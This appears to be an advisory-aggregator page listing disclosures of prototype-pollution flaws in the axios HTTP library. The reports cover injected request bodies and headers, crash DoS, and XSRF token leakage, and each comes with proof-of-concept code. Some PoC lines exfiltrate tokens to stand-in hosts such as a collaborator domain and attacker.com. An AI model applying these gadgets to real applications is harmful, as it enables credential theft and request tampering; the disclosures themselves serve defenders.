); } ` Node HTTP adapter Basic auth — lib/adapters/http.js: http.js Lines 829-836 ` // HTTP basic authentication let auth = undefined; const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` paramsSerializer reads — lib/helpers/buildURL.js: buildURL.js Lines 31-54 ` export default function buildURL(url, params, options) { if (!params) { return url; } const _encode = (options && options.encode) || encode; const _options = utils.isFunction(options) ? { serialize: options, } : options; const serializeFn = _options && _options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, _options); } else { serializedParams = utils.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, _options).toString(_encode); } ` Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request. The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string. PoC ` import http from 'node:http'; import axios from '../../index.js'; const ATTACKER_USER = 'attacker'; const ATTACKER_PASS = 'exfil'; const ATTACKER_BASIC = Buffer.from(${ATTACKER_USER}:${ATTACKER_PASS}).toString('base64'); // Step 1: simulate a pre-existing prototype-pollution primitive in this process. // In reality, a separate dependency would have done this. We keep the // "polluted" properties non-enumerable so they only affect inherited reads, // which is the realistic shape of most prototype-pollution gadgets. Object.defineProperty(Object.prototype, 'username', { value: ATTACKER_USER, configurable: true, }); Object.defineProperty(Object.prototype, 'password', { value: ATTACKER_PASS, configurable: true, }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true, }); // Local capture server. const server = http.createServer((req, res) => { const captured = { authorization: req.headers['authorization'] || null, url: req.url, }; res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify(captured)); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; try { // Application code: passes nested placeholder option objects that have // no own auth/serializer properties. Without prototype pollution this is // a no-op. With prototype pollution it becomes attacker-controlled state. const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored-by-polluted-serializer' }, }); console.log('--- PoC: nested-option prototype-pollution gadgets ---'); console.log('Server saw:', JSON.stringify(response.data)); const authLeaked = response.data.authorization === Basic ${ATTACKER_BASIC}; const urlRewritten = response.data.url === '/demo?polluted=1'; if (authLeaked && urlRewritten) { console.log( 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' + 'Object.prototype values into the outbound request.' ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: nested option objects did not leak prototype state.'); console.log(' authLeaked =', authLeaked); console.log(' urlRewritten =', urlRewritten); process.exitCode = 1; } } finally { server.close(); // Restore Object.prototype so a noisy exit/process state cannot affect // anything else accidentally sharing the runtime. delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } `` Impact Concrete consequences: Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams. Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line. <details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Prototype pollution gadgets can alter axios request construction

Summary axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+. Impact An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS. For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+. Affected Functionality Affected normal API: axios.get(url[, config]) axios.delete(url[, config]) axios.head(url[, config]) axios.options(url[, config]) Affected low-level usage: Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy. Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer. Unaffected or corrected scope: Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads. Technical Details lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter. lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values. Proof of Concept of Attack ``js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(http://127.0.0.1:${server.address().port}/data); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ` Expected result: a request body is sent even though the caller did not explicitly set config.data. Workarounds Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> Summary Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests. Details The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. (config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage. PoC Ran against axios@1.15.2 on node:22-slim in Docker. Clean install, no other deps. `javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ` `javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ` `javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ` Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer` directly. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →
8 rules

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

Summary axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values: 1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request. Affected Properties | Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 | Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built. Proof of Concept ``javascript const axios = require('axios'); // Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes. // Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10) ` Impact Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure. Attack Flow `mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"] ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"] CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"] PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"] PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"] PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"] CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"] %% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff ` Root Cause Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)). Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET. Suggested Fix Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32. Resources CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10` CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →
8 rules

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true) CWE CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs CVSS 3.1 Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input when triggered via prototype pollution. If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. Vulnerable Code File: lib/helpers/resolveConfig.js, lines 57-66 ``javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ` Designed behavior: true → always send token (explicit cross-origin opt-in) false → never send token undefined → send only for same-origin requests Actual behavior for non-boolean truthy values (1, "false", {}, []): All treated as truthy → same-origin check skipped → token sent everywhere Proof of Concept `javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ` Verified PoC Output ` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ` Impact Analysis XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP Limitations: Browser-only (XSRF logic runs only in hasStandardBrowserEnv) XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking Attacker still needs a way to deliver the forged request after obtaining the token Recommended Fix Use strict boolean comparison: `javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } `` Resources CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Showing 1–20 of 30 threats